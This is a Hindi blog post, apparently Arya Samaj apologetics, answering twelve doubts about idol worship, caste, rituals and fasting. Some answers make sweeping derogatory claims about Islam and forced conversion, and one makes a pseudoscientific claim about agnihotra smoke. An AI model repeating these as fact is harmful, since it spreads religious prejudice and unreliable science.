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शंका समाधान

Dec 30 • Uncategorized • 5621 Views • No Comments

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शंका 1 – हम जीवन में 99 प्रतिशत काम आस्थाओं के आधार पर ही करते हैं और केवल 1 प्रतिशत तर्क पर करते हैं। माता-पिता की पहचान भी आस्था पर होती है। कोई भी व्यक्ति अपना DNA टेस्ट करवा कर माता पिता की पहचान सिद्ध नहीं करवाता। आर्य समाज और सनातन धर्म एक दूसरे के विरोधी नहीं हैं। दोनो एक ही सिक्के (हिन्दू धर्म) के दो पहलू हैं और एक दूसरे के पूरक हैं। आम के चित्र से बच्चे को आम की पहचान करवाना अधर्म या मूर्खता नहीं इसी तरह किसी चित्र से भगवान के स्वरूप को समझने में भी कोई बुराई नहीं वह केवल ट्रेनिंग ऐड (Training Aid) है। आर्य-समाज संगठन ने मूर्ति पूजा को तालिबानी तरीके का एक मुद्दा बना कर हिन्दू-संगठन को कमजोर किया है।

समाधान- आस्था अगर ज्ञान के बिना हो तो वह अन्धविश्वास कहलाता हैं। एक उदहारण लीजिये जब वर्षा नहीं होती तो कुछ लोग आस्था के चलते कुत्ते का विवाह कुंवारी लड़की से करते हैं। यह आस्था हैं मगर बिना ज्ञान की आस्था हैं। सभी जानते हैं कि शराब बुरी चीज हैं। जिसे इसकी लत पड़ जाये तो न केवल वह बल्कि उसका परिवार भी बर्बाद हो जाता हैं। फिर भी राजस्थान में एक मंदिर में भक्त देवी की मूर्ति पर शराब चढ़ाते हैं। पूछो तो कहते हैं तुम कौन हमारी आस्था हैं। गुवहाटी में कामख्या का मंदिर हैं। हर रोज सैकड़ों मुर्गे, बकरे, कबूतर, भैंसे और न जाने किस किस निरीह जानवर को देवी को अर्पित करने के नाम पर मारे जाते हैं। पूछो तो कहते हैं तुम कौन हमारी आस्था हैं। एक अन्य उदहारण लीजिये एक छात्र को अध्यापक गणित का एक प्रश्न पूछता हैं। छात्र अपनी तुच्छ बुद्धि से अनाप शनाप उत्तर लिख देता हैं और कहता हैं जी मेरा ही उत्तर सही हैं। अध्यापक पूछता हैं भाई तुम्हारा ही उत्तर सही क्यों हैं। छात्र कहता हैं मेरा ही उत्तर इसलिए सही हैं क्यूंकि मेरी इसमें आस्था हैं, मेरा इसमें विश्वास हैं। अब अध्यापक उसे कितने नंबर देगा सभी जानते हैं। हिन्दू समाज की यही हालत हैं। सभी धार्मिक हैं,आस्थावान हैं,ईमानदार हैं, कर्त्तव्य का पालन करने वाले हैं मगर चलते अपनी आस्था से हैं नाकि नियम से चलते हैं। नियम का निर्धारण यथार्थ ज्ञान से होता होता हैं जो सृष्टि के आदि से अंत तक तर्क की कसौटी पर सदा खरा उतरेगा। इसलिए नियम का पालन करना अनिवार्य हैं और यह तभी होगा तब ज्ञान होगा। जिस प्रकार जिस दिन वह छात्र नियम से गणित की शंका का समाधान निकलेगा उस दिन उस दिन से उसका सही उत्तर निकलने लगेगा उसी प्रकार से जिस दिन हिन्दू समाज वेद रूपी ईश्वरीय नियम का , ईश्वरीय ज्ञान का पालन करने लगेगा उसी दिन से हिन्दू समाज अन्धविश्वास को छोड़कर सत्य मार्ग का पथिक बन जायेगा। जिसका जैसा मन किया उसने वैसे ईश्वर की कल्पना करी, जिसका जैसा मन किया उसने वैसे ईश्वर की पूजा करने की विधि की कल्पना करी,जिसका जैसा मन किया उसने वैसे ईश्वर पूजा के फल की कल्पना करी और सभी कल्पनाओं को आस्था के कपड़े पहनाकर उसे सनातन नाम देकर अपना उल्लू सिद्ध किया। अगर यही सनातन धर्म हैं तो फिर उसे अन्धविश्वास का प्राय: कहना कोई अतिश्योक्ति नहीं हैं। ऋषियों की पवित्र वेद वाणी को मानने से ही हिन्दू समाज का हित हैं नाकि उसे मानने वाले आर्यसमाजियों का विरोध करने में हैं। फिर भी अगर कोई विरोध करे तो उसे एक ही बात कहना चाहता हूँ कि “आर्यसमाज वह वृक्ष की डाल हैं जिस पर बैठ सनातनी हिन्दू उसे ही काटने की बात कर रहा हैं”।

शंका 2- हिन्दू समाज ने कभी भी विदेश में बसे गैर हिन्दू प्रजातियों पर हमला कर उन्हें जबरन हिन्दू बनाने का प्रयत्न नहीं किया जबकि भारत का इतिहास उठा कर देखे तो भारत में बसने वाले 99% मुसलमानों के पूर्वज हिन्दू थे जिन्हें जबरन इस्लाम में दीक्षित किया गया। ऐसा क्यों?

समाधान- भारत में बसने वाले 99% मुसलमानों के पूर्वजों की गर्दन पर इस्लामिक तलवार रखकर उन्हें हिन्दू से मुस्लिम बनाया गया था। वैदिक विचारधारा के यथार्थ रूप को जानने वाला कभी अपने धर्म का त्याग नहीं करता इसीलिए वैदिक धर्मी कभी वेदों के प्रचार के लिए तलवार का प्रयोग नहीं करते। यह इस्लाम की कमजोरी हैं की उसे अपनी बात को मनवाने के लिए हिँसा का प्रयोग करना पड़ता हैं। आप इस तथ्य को दूसरे दृष्टिकोण से भी समझ सकते हैं। इस्लाम में मजहब के मामले में शंका करने की अनुमति नहीं हैं। जो शंका करता हैं उससे यही कहा जाता हैं की क्या तुम्हें रसूल अथवा क़ुरान शरीफ की बातों पर विश्वास नहीं रहा। इसके विपरीत वैदिक धर्म किसी भी सिद्धांत की भली भांति नाप-तोल कर, चिंतन कर, मनन कर उसे स्वीकार करने की पूर्ण स्वतंत्रता देता हैं। यही कारण था की वैदिक धर्म को मानने वाली आर्य जाति के गुणों के प्रभाव से, उनकी विद्या के प्रभाव से सम्पूर्ण विश्व प्रकाशवान होता था। विदेशी लोग आर्यवर्त कि भूमि की ओर विद्या प्राप्ति खींचे चले आते थे। नालंदा,तक्षशिला आदि आधुनिक उदहारण हैं। हमें किसी पर हमला करने, किसी से जोर जबरदस्ती करने की कोई आवश्यकता ही नहीं थी। भई जब किट-पतंगे दीपक जैसे सीमित प्रकाश देने वाले पर खींचे चले आते हैं तो ज्ञान रूपी सूर्य के प्रकाश प्रकाशवान इस आर्य भूमि के लिए कितनी चाहत विश्व वासियों को होगी।

इस्लाम को मानने वालो को अपने आप पर कभी भरोसा ही नहीं था कि वे केवल विचारों के मंडन से इस देश की बौद्धिक प्रगति को पीछे छोड़ सकते हैं। उन्होंने जब देखा कि एक लंगोट पहन कर प्रचार करने वाला अर्ध नंग सन्यासी उनके यहाँ के रेशम के चोगे पहनने वाले मुल्ले-मौलवियों पर भारी हैं तो उन्हें कोई और रास्ता समझ नहीं आया इसलिए तलवार ही आखिरी विकल्प बचा। सभी बुद्धिमानों को मार डाला, जो कुछ बचे रह गए उन्हें इस्लाम में दीक्षित कर दिया। बौद्धिक प्रगति का जितना नाश इस प्रक्रिया में हुआ उसका अनुमान लगाना अत्यंत कठिन हैं। आज भी अगर कोई भी मुस्लमान पूर्वाग्रह से मुक्त होकर वैदिक सिद्धांतों को जानने का प्रयास करे तो उन्हें आसानी से समझ में आ जायेगा कि क्यों उनके पूर्वज क्यों वैदिक धर्मी थे और उन्हें तलवार से अधिक ज्ञान पर क्यों भरोसा था।

शंका 3- सनातनी और आर्यसमाजी में अंतर क्या हैं?

समाधान- एक पुरानी घटना से इस अंतर को समझने का प्रयास करते हैं। एक गांव था जिसमें दो मित्र रहते थे। राम और श्याम। राम के पिता अग्रवाल थे एवं साहूकारी का व्यापार करते थे जबकि श्याम के पिता जाट थे एवं किसान का कार्य करते थे। राम के पिता पौराणिक विचारों के थे जबकि श्याम के पिता ने सत्यार्थ प्रकाश पढ़ा हुआ था इसलिए आर्यसमाजी थे। दोनों मित्र आम के बाग में गए और कच्चे आम तोड़ कर खाने लगे। थोड़ी देर में प्यास लगी। बाग़ में जो माली था उसका नाम अब्दुल्लाह था। अब्दुल्लाह के घड़े का दोनों ने पानी पी लिया।जैसे ही पानी पिया दोनों ने अब्दुल्लाह को आते देखा। अब्दुल्लाह बोला आप दोनों गैर मुस्लिम हो और आप दोनों ने मुस्लमान के घड़े का पानी पिया हैं इसलिए आप दोनों अब हिन्दू नहीं रहे। आप दोनों को इस्लाम की दावत देता हूँ। दोनों लड़के रोते पीटते घर भागे। दोनों को कुछ समझ में नहीं आया। अपने अपने परिवार वालो को बताया। राम के पिता सर पकड़ कर बैठ गए और मंदिर के पंडित से समाधान पूछने गए। मंदिर का पंडित पहले तो बोला जो हमारे यहाँ से गया वह वापिस नहीं आ सकता। तुम्हारा लड़का अब कभी हिन्दू नहीं कहला सकता। पर जब राम के पिता ने बोला पंडित जी कोई तो उपाय होगा। तब मोटी असामी देख पंडित जी बोले हरिद्वार लेकर जाना पड़ेगा ,गंगा में डुबकी लगेगी, ४० ब्राह्मणों को भोजन करवाना पड़ेगा , ऊपर से दान-दक्षिणा अलग लगेगी, तब कहीं जाकर प्रायश्चित होगा। राम के पिता ने पूछा पंडित जी कितना खर्च होगा। पंडित जी ने सोच विचार कर 30-40 हज़ार का खर्च बता दिया। राम के पिता सर पकड़ कर बैठ गए। उधर श्याम अपने पिता के पास पहुँचा। उन्हें सब बात कह सुनाई। श्याम के पिता ने पूछा कितना पानी पिया था। श्याम ने बोला एक लौटा। तभी श्याम के पिता ने दो लौटे पानी मंगवाए और श्याम को पिला दिए। 10 मिनट में एक लौटा भर पिशाब श्याम को उतर गया। पिशाब उतरते ही श्याम के पिता ने कहा “लो निकल गया अब्दुल्लाह के घड़े का पानी”। अब कोई पूछे तो कह देना की अब्दुल्लाह के घड़े का पानी तो नाली में बह गया। अरे पानी कोई अब्दुल्लाह का थोड़े ही हैं वह तो ईश्वर का दिया हुआ हैं चाहे किसी भी घड़े में भर लो।

अब पाठक बताये। श्याम के पिता में जो यह चेतना थी, यह किसकी देन थी?

सभी का एक ही उत्तर- स्वामी दयानंद की चेतना थी।

बस सनातनी और आर्यसमाजी में यही अंतर हैं।

शंका 4 -वेदों के शत्रु विशेष रूप से पुरुष सूक्त को जातिवाद की उत्पत्ति का समर्थक मानते हैं।

समाधान – पुरुष सूक्त १६ मन्त्रों का सूक्त हैं जो चारों वेदों में मामूली अंतर में मिलता हैं।

पुरुष सूक्त जातिवाद का नहीं अपितु वर्ण व्यस्था के आधारभूत मंत्र हैं जिसमे “ब्राह्मणोस्य मुखमासीत” ऋग्वेद १०.९० में ब्राह्मण, क्षत्रिय, वैश्य और शुद्र को शरीर के मुख, भुजा, मध्य भाग और पैरों से उपमा दी गयी हैं। इस उपमा से यह सिद्ध होता हैं की जिस प्रकार शरीर के यह चारों अंग मिलकर एक शरीर बनाते हैं, उसी प्रकार ब्राह्मण आदि चारों वर्ण मिलकर एक समाज बनाते हैं। जिस प्रकार शरीर के ये चारों अंग एक दुसरे के सुख-दुःख में अपना सुख-दुःख अनुभव करते हैं, उसी प्रकार समाज के ब्राह्मण आदि चारों वर्णों के लोगों को एक दुसरे के सुख-दुःख को अपना सुख-दुःख समझना चाहिए। यदि पैर में कांटा लग जाये तो मुख से दर्द की ध्वनि निकलती हैं और हाथ सहायता के लिए पहुँचते हैं उसी प्रकार समाज में जब शुद्र को कोई कठिनाई पहुँचती हैं तो ब्राह्मण भी और क्षत्रिय भी उसकी सहायता के लिए आगे आये। सब वर्णों में परस्पर पूर्ण सहानुभूति, सहयोग और प्रेम प्रीति का बर्ताव होना चाहिए। इस सूक्त में शूद्रों के प्रति कहीं भी भेद भाव की बात नहीं कहीं गयी हैं। कुछ अज्ञानी लोगो ने पुरुष सूक्त का मनमाना अर्थ यह किया कि ब्राह्मण क्यूंकि सर हैं इसलिए सबसे ऊँचे हैं अर्थात श्रेष्ठ हैं एवं शुद्र चूँकि पैर हैं इसलिए सबसे नीचे अर्थात निकृष्ट हैं। यह गलत अर्थ हैं क्यूंकि पुरुषसूक्त कर्म के आधार पर समाज का विभाजन हैं नाकि जन्म के आधार पर ऊँच नीच का विभाजन हैं।

इस सूक्त का एक और अर्थ इस प्रकार किया जा सकता हैं की जब कोई व्यक्ति समाज में ज्ञान के सन्देश को प्रचार प्रसार करने में योगदान दे तो वो ब्राह्मण अर्थात समाज का सिर/शीश हैं, यदि कोई व्यक्ति समाज की रक्षा अथवा नेतृत्व करे तो वो क्षत्रिय अर्थात समाज की भुजाये हैं, यदि कोई व्यक्ति देश को व्यापार, धन आदि से समृद्ध करे तो वो वैश्य अर्थात समाज की जंघा हैं और यदि कोई व्यक्ति गुणों से रहित हैं अर्थात शुद्र हैं तो वो इन तीनों वर्णों को अपने अपने कार्य करने में सहायता करे अर्थात इन तीनों की नींव बने,मजबूत आधार बने।

शंका 5- ९ वें वर्ष के आरम्भ में द्विज अपने संतानों का उपनयन करके आचार्यकुल में अर्थात जहाँ पूर्ण विद्वान और पूर्ण विदुषी स्त्री शिक्षा और विद्यादान करने वाली हो अर्थात वहाँ लड़के और लड़कियो को भेज दें और शूद्र आदि वर्ण उपनयन किये बिना विद्याभास के लिए गुरुकुल में भेज दे।- सत्यार्थ प्रकाश

यहाँ पर यह शंका कि जाती हैं कि स्वामी दयानंद ने द्विज से ब्राह्मण, क्षत्रिय और वैश्य का ग्रहण किया हैं एवं उनके उपनयन संस्कार करने का विधान बताया हैं एवं शूद्र को उपनयन संस्कार से वंचित रखा हैं।

समाधान- सत्यार्थ प्रकाश में इस विषय में सबसे पहले स्वामी दयानंद की इस मान्यता को समझ लेना अत्यंत महत्वपूर्ण हैं कि स्वामी जी जन्मना वर्ण को नहीं मानते अपितु वर्ण के निर्धारण के विषय में लिखते हैं की ” यह गुण कर्मों से वर्णों कि व्यवस्था कन्याओं की सोहलवें वर्ष और पुरुषों की पच्चीसवें वर्ष की परीक्षा में नियत करनी चाहिए-सत्यार्थ प्रकाश।”

अर्थात शूद्रों के घर में जन्मा बालक ब्राह्मण भी हो सकता हैं, क्षत्रिय भी हो सकता हैं, वैश्य भी हो सकता हैं और शूद्र भी हो सकता हैं इसी प्रकार से ब्राह्मण के बालक ब्राह्मण भी हो सकता हैं, क्षत्रिय भी हो सकता हैं, वैश्य भी हो सकता हैं और शूद्र भी हो सकता हैं। इस वर्ण का निर्धारण शिक्षा सम्पूर्ण होने के पश्चात होता हैं नाकि जन्म गृह में माता पिता के वर्ण के आधार पर होता हैं। आज समाज में डॉक्टर,इंजीनियर आदि सभी शिक्षा प्राप्ति के पश्चात बनते हैं नाकि अपने माता पिता की योग्यता के आधार पर बनते हैं। जहाँ तक उपनयन की बात हैं स्वामी जी ने अत्यंत व्यवहारिक बात करी हैं। शूद्रों के यहाँ पर उपनयन क्या कोई भी संस्कार नहीं होता था। ब्राह्मण लोग छुआछूत के चलते शूद्रों के घरों में संस्कार आदि नहीं करवाते थे। संस्कार तो दूर शूद्रों का दर्शन, छूना, उनके साथ भोजन करना आदि सब वर्जित था। ऐसे वातावरण में न शूद्रों का उपनयन होता और न ही उन्हें शिक्षा मिल पाती। बिना शिक्षा के वे सदा शूद्र ही बने रहते। इसलिए स्वामी दयानंद ने घर पर होने वाले संस्कार में ब्राह्मण, क्षत्रिय और वैश्य को उनके परिवार की परम्परा के अनुसार संस्कार कर शिक्षा प्राप्त करने का विधान लिखा और शूद्रों को पुरोहित की अनुपलब्धता के चलते बिना संस्कार के ही गुरुकुल में प्रवेश करने का विधान बताया। गुरुकुल में आचार्य सभी का संस्कार कर सकता था। साथ में सभी को एक समान भोजन, वस्त्र आदि देना भी स्वामी जी हैं जोकि वैदिक साम्यवाद का सबसे महत्वपूर्ण अंग हैं। स्वामी जी शूद्रों के उपनयन विरोधी नहीं हैं अपितु उस काल परिस्थिति में जो सबसे उत्तम उपाय शूद्रों के उत्थान के लिए था उसके हिमायती हैं।

शंका 6- शांति पाठ के मंत्र में ईश्वर से जल, पृथ्वी, औषधि, वनस्पति आदि को शांति प्रदान करने कि प्रार्थना करी गई हैं। शंका यह हैं कि क्या जल, पृथ्वी आदि भौतिक पदार्थों में अशांति भरी हुई हैं?

समाधान- सत्य यह हैं की जल, पृथ्वी, औषधि, वनस्पति आदि सभी जड़ पदार्थ हैं। शांति या अशांति हमारे मन के मानसिक भावों का परिणाम हैं। संसार के सभी पदार्थों में और मनुष्य में भोक्ता और भोग का सम्बन्ध हैं। ईश्वर प्रदत सभी भौतिक पदार्थ हमारे सुख के लिए हैं जिनका उद्देश्य हमें लाभ पहुँचाना हैं। परन्तु हम अपनी कल्पनाओं से, अपनी शक्तियों से इन पदार्थों से स्वार्थ सिद्धि करना चाहते हैं जिससे यह पदार्थ सुख के स्थान पर दुःख के साधन बन जाते हैं। शांति पाठ पढ़ते समय हमारे मन के अंदर विशेष भाव आने चाहिए और उन भावों का प्रभाव हमारे क्रियात्मक एवं धार्मिक जीवन पर पड़ना चाहिए। शांति पाठ पढ़ते समय हमारे मन के अंदर जीवन के व्यवहारों को इस प्रकार से करने का संकल्प आना चाहिए जिससे हम अशांति से बच सके और शांति को प्राप्त कर सके। इसके लिए हमारे हृदय एवं मस्तिष्क के विचार भी इसी प्रकार के होने चाहिए। शांति पाठ का मुख्य उद्देश्य जगत के पदार्थों को मालिक की दृष्टि से नहीं अपितु “इदं न मम” अर्थात यह सब मेरा नहीं हैं की दृष्टि से भोगने की प्रेरणा देना हैं जिससे यह सभी पदार्थ सुख एवं शांति देने वाले हो।

शंका 7-अग्निहोत्र सदा प्रात:काल एवं सांयकाल संध्या के समय ही क्यों किया जाता हैं?

समाधान- स्वामी सत्यप्रकाश जी द्वारा लिखित पुस्तक के आधार पर अग्निहोत्र करते समय जब अग्नि के लपटे बुझ जाती हैं उसमें से जो धुँआ निकलता हैं वह धुँआ जब वायु में मिलता हैं तो सूर्य के प्रकाश की उपस्थिति में photo chemical reaction होती हैं जिससे वायु प्रदुषण को कम करने वाले एवं स्वास्थ्य के लिए लाभदायक आवश्यक वायु तत्व बनते हैं। इस प्रक्रिया केवल सूर्य के प्रकाश की उपस्थिति में ही संभव हैं इसलिए अग्निहोत्र को सदा प्रात:काल एवं सांयकाल संध्या के समय ही किया जाता है।

शंका 8- किसी भी धनी व्यक्ति के लिए विद्या की क्या महता हैं?उसके पास तो सभी संसाधन उपलब्ध हैं।

समाधान – ऋग्वेद के मंडल १ के अध्याय १४ में मंत्र आता हैं की विद्वान लोग अपनी धार्मिकता और सदाचार से न केवल अपने अपितु किसी के भी धन आदि पदार्थों और आचरण की रक्षा करते हैं। इसका एक अर्थ यह भी हैं की विद्या से सभी प्रकार की सम्पदा की रक्षा होती हैं। इसलिए यह सभी मनुष्यों का कर्तव्य हैं की वे विद्या के ग्रहण और प्रचार प्रसार में अवश्य भागी बने जिससे की न केवल सभी मनुष्य विद्वान होकर धार्मिक बने अपितु सभी की रक्षा हो सके। आज हमारे समक्ष अनेकों ऐसे उदहारण हैं जहाँ पर यह देखने को मिलता हैं की समाज का अधिक से अधिक वर्ग केवल धन और संसाधन प्राप्ति के पीछे भाग रहा हैं। इस भागदौड़ में वह ज्यादा से ज्यादा धन कमाने की इच्छा में अधार्मिक एवं दुराचारी तरीकों से भी धन कमाने की चेष्टा करने लगा हैं। विद्या से सुशोभित सज्जन व्यक्ति केवल पवित्र धन की इच्छा रखता हैं एवं ऐसा धन ही जीवन में सुख को देने वाला हैं। विद्या व्यक्ति को निर्दयी, भ्रष्टाचारी, पापी, चोर आदि बनाने से बचाती हैं। इसलिए केवल धन की ही इच्छा न करे अपितु विद्या की भी प्राप्ति की चेष्टा रखे। वेद कभी भी निर्धन रहने का सन्देश नहीं देते अपितु पवित्र धन की सदा कामना करते है।

शंका 9- नवरात्रों में उपवास और निराहार रहने का सत्य अर्थ क्या हैं?

समाधान- प्राय: उपवास से सब यही निष्कर्ष निकालते हैं की भोजन ग्रहण न करना अथवा भुखा रहना। मगर क्या उपवास का अर्थ वाकई में निराहार रहना हैं? शतपथ ब्राह्मण १/१/१/७ के अनुसार “उपवास” का अर्थ गृहस्थ के लिए प्रयोग हुआ हैं जिसमें गृहस्थ के यज्ञ विशेष अथवा व्रत विशेष करने पर विद्वान लोग उनके घरों में आते हैं अर्थात उनके समीप (उप) रुकते (वास) हैं। इसलिए विद्वानों का सत्संग करना उपवास कहलाता था। उपवास के समय भूखा रहना अर्थात निराहार रहने का तात्पर्य शतपथ ब्राह्मण १/१/१/८ के अनुसार विद्वान के घर पर आने पर उनके भोजन ग्रहण करने के पश्चात ही गृहस्थी को भोजन ग्रहण करना चाहिए अर्थात तब तक निराहार रहना चाहिए। उपवास और निराहार का मूल उद्देश्य विद्वानों का सत्संग, उनसे उपदेशों का श्रवण एवं उनकी सेवा शुश्रुता था। कालांतर में मूल उद्देश्य गौण हो गया और सत्संग, स्वाध्याय का स्थान भूखे रहने ने ले लिया हैं। केवल भूखे रहने से कुछ भी प्राप्ति नहीं होती। वेदों के स्वाध्याय एवं वैदिक विद्वानों के सत्संग से ही ज्ञान की प्राप्ति होती हैं। आशा हैं पाठक उपवास के सत्य अर्थ को समझ कर उसके अनुसार विद्वानों का सान्निध्य ग्रहण कर अपने जीवन में ज्ञान का प्रकाश करेंगे।

शंका 10 – क्या केवल संस्कृत की वैदिक संध्या से ही आत्मा का कल्याण संभव हैं?

समाधान- पंडित बुद्धदेव जी वेदालंकार जी के शब्दों में “परमेश्वर का भजन संस्कृत भाषा में ही हो सकता हैं तथा अन्य भाषा में नहीं, ईश्वर कहकर पुकारने से वह अधिक प्रसन्न होता हैं किन्तु सच्चे हृदय से अल्लाह कहने से वह नाराज होता हैं, यह समझना भूल हैं। फिर प्रश्न उठता हैं की ऋषि दयानंद ने पंचमहायज्ञ विधि में जो संध्या लिखी हैं उसके द…्वारा भजन क्यों किया जाये? इसका उत्तर यह हैं की ध्यान करते हुए जो विघ्न उपस्थित होते हैं, ध्यान करने वालो को जिन जिन भूमिकाओं से गुजरना पड़ता हैं, ध्यान के लिए योग के जो आठ अंग कहे गए हैं उन सबका ऐसा सुसंगत समावेश इससे अधिक मार्मिक तथा भावगर्भ शब्दों में अन्यंत्र नहीं मिलता।परन्तु इसका यह तात्पर्य नहीं हैं की अन्य मार्ग से भजन नहीं हो सकता। एक मनुष्य के शरीर के लिए किस किस प्रकार का भोजन अपेक्षित हैं इसका वैज्ञानिक रीति से विचार करके चतुर वैद्य, जो भोजन पत्र तैयार करते हैं, उसके अनुसार एक व्यायाम शील मनुष्य का शरीर अतिवेग से उन्नति करता हैं। परन्तु यदि मनुष्य व्यायामशील हो और साधारण भोजन भी करे तो उससे पर्याप्त पुष्टि कारक पदार्थ निकाल लेता हैं। लोग किसी देश, काल अथवा भाषा में भजन करे उसकी आत्मा बलवान होकर न केवल अपने अपितु अपने भाइयों के भी दुःख निवारण में समर्थ होती हैं। परन्तु जो पद्यति ठीक क्रम से बनाई गई हैं वह शीघ्र फलदायक होती हैं।

शंका 11- मंडन के साथ साथ खंडन भी क्यूँ आवश्यक हैं?

समाधान- एक उदहारण देकर मैं अपनी बात को आरम्भ करना चाहता हूँ। एक आर्यसमाजी अध्यापक से यह शंका एक छात्र के अभिभावक महाशय ने कि थी। अध्यापक ने उत्तर दिया कि इसका उत्तर समय आने पर आपको मिलेगा। संयोग से दो दिन के पश्चात ही उस छात्र कि परीक्षा थी। अध्यापक ने उस छात्र कि उत्तर पुस्तिका में सभी गलत प्रश्नों को भी सही कर दिया और उसे अभिभावक को दिखाने के लिये कहा। अभिभावक ने जैसे ही उत्तर पुस्तिका में सभी गलत उत्तरों को सही देखा तो अगले दिन अध्यापक से वे मिलने आये। जब उन्होंने गलत उत्तर को भी सही करने का कारण पूछा तो आर्य अध्यापक ने बड़े प्रेम से उत्तर दिया। महाशय जी आप ही ने तो कहा था कि खंडन मत किया करो केवल मंडन किया करो, मैंने आप ही कि बात का ही तो अनुसरण किया हैं । आपके बेटे के सभी सही के साथ साथ गलत उत्तर को भी सही कर दिया, किसी का भी खंडन नहीं किया। धार्मिक जगत में भी धर्म के नाम पर अनेक प्रकार कि भ्रांतिया और असत्य बातों का समावेश कुछ अज्ञानी लोगो ने कर दिया है, यह कुछ कुछ ऐसा हैं जैसा एक किसान के खेत में फसल के साथ खर पतवार का भी उग जाना, अब आप बताये कि अगर किसान उस खर पतवार को नहीं हटायेगा तो उसकी फसल का क्या हाल होगा? हिन्दू समाज में आध्यात्मिकता का भी यही हाल हैं, नाना प्रकार के अन्धविश्वास, नाना प्रकार कि मिथ्या प्रपंच, नाना प्रकार के गुरुडम के खेल, नाना प्रकार कि देवी देवताओं के नाम पर कहानियाँ रच लिए गई हैं, जिनका सत्य से दूर दूर तक भी किसी भी प्रकार का सम्बन्ध नहीं हैं। उनका अगर खंडन नहीं किया करेगे, तो क्या करेगे? महाशय जी चुप हो गये, उन्होंने सोचा कि बात तो सही हैं, खंडन करना चाहे कड़वा हो मगर हैं तो आवश्यक।

यही शंका हमारे कुछ हिन्दू भाइयों को स्वामी दयानंद से रहती हैं कि स्वामी जी को हिन्दू समाज कि आस्था का खण्डन नहीं करना चाहिए था। स्वामी जी उद्देश्य किसी कि आलोचना अथवा विरोध नहीं था अपितु जो कुछ भी सत्य हैं उसका मंडन और जो कुछ भी असत्य हैं उसका खंडन था। स्वामी जी से पूर्व भी अनेक आचार्यों ने समाज में सुधार कि अपेक्षा से असत्य का खंडन किया था जैसे आदि शंकराचार्य, कुमारिल भट्ट, संत कबीर, संत दादू, समर्थ गुरु रामदास, गुरु नानक आदि। हिन्दू समाज में गीता को विशेष मान प्राप्त हैं। कुरुक्षेत्र में महाभारत के युद्ध में अर्जुन के विचलित मन को ज्ञानामृत से तृप्त कर, अर्जुन कि पिपासा को शांत करने वाले महान श्री कृष्ण जी महाराज ने गीता में स्पष्ट रूप से पाखंड का पुरजोर खंडन किया हैं।

गीता के १६/४ श्लोक में श्री कृष्ण जी कहते हैं ” पाखंड, घमंड, अभिमान, क्रोध, कठोरता तथा अज्ञान असुरी सम्पत अर्थात बंध का कारण हैं जबकि इसी अध्याय के १६/१-३ श्लोक में अभय, अंतकरण कि शुद्धि, ज्ञान, योग, दान, दम, स्वाध्याय, तप, ऋजुता, अहिंसा, सत्य, अक्रोध, त्याग, शांति, चुगली न करना, प्राणियों पर दया, लोलुपता का अभाव, कोमलता, चपलता का अभाव, तेज, क्षमा, धृति, शौच, अद्रोह और निरभिमान दैवी सम्पत अर्थात मोक्ष का कारण हैं। गीता का पाठ करने वाला , गीता कि पोथी बगल में दबाने वाला, गीता कि कथा सुनाने वाला, गीता सुनने वाला, गीता रटने वाला, गीता का प्रचार करने वाला, गीता बाँटने वाला, गीता लिखकर उसका लॉकेट गले में टांगने वाले तो बहुत हैं पर गीता के इस सन्देश को जीवन में धारण करने वाले विरले ही मिलेगे। जिसने असुरी सम्पत को त्याग कर देवी सम्पत को नहीं अपनाया, उसकी बेड़ियाँ कभी नहीं कटेगी? संसार के प्रत्येक भाग में पाखंड हैं। पाखंडी नेता, पाखंडी गुरु, पाखंडी ब्राह्मण, पाखंडी वैश्य, पाखंडी कर्मचारी। सभी असुरी मार्ग के अनुयायी हैं। स्वामी दयानन्द का उद्देश्य इसी असुरी सम्पत का खंडन और देवी सम्पत का मंडन था। जैसे गीता में पाखंड का स्पष्ट खंडन हमें अपने अंतर्मन कि शुद्धि, ज्ञान कि शुद्धि, कर्म कि शुद्धि, आचार कि शुद्धि, व्यवहार कि शुद्धि के प्रेरणा दे रहा हैं वैसे ही स्वामी दयानंद जी श्री कृष्ण जी महाराज के उपदेश को यथार्थ करने का ही उपदेश तो दे रहे हैं। यह सृष्टि का नियम हैं की अज्ञानता के प्रचार प्रसार को रोकने के लिए पाखंड की शल्य क्रिया करनी आवश्यक हैं चाहे मरीज को कष्ट हो, दुःख हो परन्तु हैं तो उसके हित के लिए ही। हिन्दू समाज आज पाखंड को त्याग कर धर्म मार्ग का पथिक बन जाये तो उसकी इतनी बुरी अवस्था सदा के लिए दूर हो सकती हैं।

शंका 12 -देश की अवनति का क्या कारण हैं?

समाधान- मैं अनेक बार यह सोचता हूँ की वैदिक विचारधारा को मानने वाला यह सुन्दर देश आर्यव्रत अनेक शताब्दियों तक कैसे गुलाम बना। क्या कारण था जो संसार को मार्ग दिखाने वाली यह प्राचीन आर्य सभ्यता स्वयं भटक गई। अनुसन्धान करने पर जो कारण मिला उसे एक शब्द में आप “निराशावाद” कह सकते हैं। एक उदहारण से निराशावाद को समझने का प्रयास करते हैं।

वेद में हमारे शरीर का सुन्दर वर्णन मिलता हैं। अथर्ववेद के १०/२/३१ मंत्र में इस शरीर को ८ चक्रों से …रक्षा करने वाला (यम, नियम से समाधी तक) और ९ द्वार (दो आँख, दो नाक, दो कान, एक मुख, एक मूत्र और एक गुदा) से आवागमन करने वाला कहा गया हैं, जिसके भीतर सुवर्णमय कोष में अनेक बलों से युक्त तीन प्रकार की गति (ज्ञान, कर्म और उपासना ) करने वाली चेतन आत्मा हैं। इस जीवात्मा के भीतर और बाहर परमात्मा हैं और उसी परमात्मा को योगी जन साक्षात करते हैं। शरीर का यह अलंकारिक वर्णन राज्य विस्तार एवं नगर प्रबंधन का भी सन्देश देता हैं। शरीर के समान राज्य की भी रक्षा की जाये। वैदिक अध्यात्मवाद जिस प्रकार शरीर को त्यागने का आदेश नहीं देता वैसे ही नगरों को भी त्यागने के स्थान पर उन्हें सुरक्षित एवं स्वर्गसमान बनाने का सन्देश देता हैं। वेद बुद्धि को दीर्घ जीवन प्राप्त करके सुखपूर्वक रहने की प्रेरणा देते हैं। वेद शरीर को अभ्युदय एवं जगत को अनुष्ठान हेतु मानते थे। वैदिक ऋषि शरीर को ऋषियों का पवित्र आश्रम, देवों का रम्य मंदिर, ब्रह्मा का अपराजित मंदिर मानते थे।

